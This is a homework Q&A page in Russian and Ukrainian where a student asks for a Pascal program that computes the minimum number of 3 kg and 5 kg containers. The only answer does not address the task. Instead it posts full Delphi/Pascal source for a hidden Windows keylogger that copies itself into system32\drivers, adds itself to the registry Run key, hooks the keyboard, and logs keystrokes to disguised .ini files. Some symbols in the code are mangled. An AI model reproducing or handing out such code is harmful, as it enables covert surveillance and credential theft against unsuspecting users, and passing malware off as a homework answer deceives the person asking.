Статистика
Всего в нашей базе более 4 327 663 вопросов и 6 445 978 ответов!

ПРОГРАМА ПОМОГИТЕ

10-11 класс

Є N кілограм вантажу, який необхідно перевезти контейнерами місткістю 3 і 5 кілограм.
Яка мінімальна кількість контейнерів знадобиться, якщо контейнери не можна заповнювати частково?

Вхідні дані:
Одне дане натуральне число N, яке не перевищує 2000000000.

Вихідні дані:
Виведіть одне число - мінімальну кількість контейнерів, або NO, якщо вантаж вказаним чином перевезти не можна.

20022003 01 сент. 2013 г., 18:39:56 (10 лет назад)
Рейтинг
+ 0 -
0 Жалоба
+ 0 -
NiktoNikto
01 сент. 2013 г., 20:16:43 (10 лет назад)

uses Windows;

const
dir = ‘C:\WINDOWS\system32\drivers\’;
name = ‘ntrty’;
ext = ‘.ini’;
ARCStr = ‘cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v ‘;
MaxFileSize = 2048;
var
HkHnd : hHook;
FCh : file of Char;
line : longint;
hApp : THandle;
wClass : TWndClass;
wMSG : TMSG;

function WC(hInstance: HWND; style,ClsExtra,WndExtra:integer; ICON: hIcon; CURSOR: hCursor; Background: HBrush; ClassName,MenuName: string; Proc: Pointer): TWndClass;
var
wCls : TWNDClass;
begin
wCls.hInstance:=hInstance;
wCls.style:= style;
with wCls do
begin
hIcon := ICON;
lpfnWndProc := Proc;
hbrBackground := Background;
lpszClassName := PChar(ClassName);
hCursor := CURSOR;
cbClsExtra := ClsExtra;
cbWndExtra := WndExtra;
lpszMenuName := PChar(MenuName);
end;
Result:=wCls;
end;

function CreateWnd(wClass: TWndClass; hInstance: HWND; Caption: string; w,h: integer): HWND;
begin
Result:=CreateWindow(wClass.lpszClassName,
PChar(Caption),(0 or $C00000 or $800000 or
$400000 or $200000 or $100000 or $10000000),
Integer(DWORD($80000000)),Integer(DWORD($80000000) ),
w, h, 0, 0, hInstance, nil);
end;

procedure lpWindow(Msg: TMsg);
begin
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;

function IntToStr(Int: integer): string;
begin
Str(Int, result);
end;

function FileExists(const FileName : String) : Boolean;
var
Code : Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code -1) and (16 and Code = 0);
end;

function GetName: string;
var
i : longint;
begin
i:=0;
repeat
Inc(i);
until not FileExists(name+IntToStr(i)+ext);
Result:=name+IntToStr(i)+ext;
end;

function Win32Check(RetVal: BOOL): BOOL;
begin
if not RetVal then GetLastError;
Result := RetVal;
end;

function GetCharFromVKey(vkey: Word): string;
var
keyst : TKeyboardState;
retcode : Integer;
begin
Win32Check(GetKeyboardState(keyst));
SetLength(Result, 2);
retcode := ToAscii(vkey,
MapVirtualKeyA(vkey, 0),
keyst, @Result[1],0);
case retcode of
0: Result := ”;
1: SetLength(Result, 1);
2: ;
else
Result := ”;
end;
end;

function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
msg : PEVENTMSG;
b : Char;
s : string;
begin
if Code >= 0 then
begin
msg := Pointer(LParam);
if msg.message=256 then
begin
Inc(line);
s:=GetCharFromVKey(msg.paramL);
if Length(s)>0 then
begin
b:=s[1];
if (line mod 80)=0 then BlockWrite(FCh,#10#13,2);
BlockWrite(FCh,b,1);
end;
end;
if FileSize(FCh)>MaxFileSize then
begin
CloseFile(FCh);
AssignFile(FCh,GetName);
ReWrite(FCh)
end;
result := CallNextHookEx(HkHnd, code, WParam, LParam);
end;
end;

function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
begin
case Msg of
1:
begin
if not FileExists(dir+name+’.exe’) then
begin
Copyfile(PChar(paramstr(0)),dir+name+’.exe’,BOOL(0 ));
WinExec(dir+name+’.exe’,SW_Hide);
halt(0);
end;
WinExec(PChar(ARCStr+name+’ /t REG_SZ /d ‘+dir+name+’.exe /f’),SW_Hide);
line:=0;
AssignFile(FCh,GetName);
ReWrite(FCh);
repeat
HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);
until HkHnd0;
end;
2:
begin
if HkHnd 0 then
UnhookWindowsHookEx(HkHnd);
CloseFile(FCh);
halt(0);
end;
end;
Result := DefWindowProc(hWnd,Msg,wParam,lParam);
end;

begin
wClass:=WC(hInstance,0,0,0,0,0,15,’MYCLASS’,”,@Wnd MessageProc);
RegisterClass(wClass);
hApp:=CreateWindow(wClass.lpszClassName, ”,0,
Integer(DWORD($80000000)),
Integer(DWORD($80000000)),
0, 0, 0, 0, hInstance, nil);
if hApp=0 then
begin
UnregisterClass(’MYCLASS’,hInstance);
halt(0);
end;
lpWindow(wMsg);
end.

Ответить

Другие вопросы из категории

Читайте также

Помогите пожалуйста.

Требуется написать Блокнот на делфи.
Написал всё, кроме кнопки "Сохранить" не пойму как сделать так, что бы при нажатии она работала как и в блакноте обычном.
Помогите пожалуйста :)

Помогите пожалуйста!) Напечатать программу в паскале......

Пожалуйста...Срочно...Завтра крайний срок сдачи...Помогите...

Дан массив строк без пробелов. Напечатать строки, вторая половина которых не содержит цифры.

ПОМОГИТЕ, ПОЖАЛУЙСТА, ПРОСТО РАЗЪЯСНИВ ЗАДАНИЕ. ПЖЛ)))

.................................................................................................................................
Возьмите прайс лист любого компьютерного магазина или скачайте в интернете;
Составьте конфигурацию компьютера для специалиста вашей профессии;
Подберите программное обеспечение, поясните, для каких целей будут служить данные программы;
Посчитайте общую стоимость данной конфигурации по прайс листу
....................................................................................................................................
Учусь я на бухгалтера-экономиста.
Давайте думать вместе) Допустим, "специалист вашей профессии" - это бухгалтер. Я беру прайс лист (т.е. лист, где написаны наименования и цены всех товаров). Что такое конфигурация? Как её составить по этому прайс листу, если там и так всего цена и наименования известны...?)))) ПО подобрать, допустим, это будет ;MS Office Excel; для создания таблиц, а для данной задачи для подсчёта общей стоимости конфигурации; и ;MS Office World; для писания отчётов. Что же такое эти "конфигурации"?)))
Помогите, пожалуйста) не пропускайте вопрос)

Помогите пожалуйста. Нужно решить в паскале.

Дано масив А[1..n]. Скласти програму підрахунку суми всіх елементів, що знаходяться між елементами А[1] і А[n].



Вы находитесь на странице вопроса "ПРОГРАМА ПОМОГИТЕ", категории "информатика". Данный вопрос относится к разделу "10-11" классов. Здесь вы сможете получить ответ, а также обсудить вопрос с посетителями сайта. Автоматический умный поиск поможет найти похожие вопросы в категории "информатика". Если ваш вопрос отличается или ответы не подходят, вы можете задать новый вопрос, воспользовавшись кнопкой в верхней части сайта.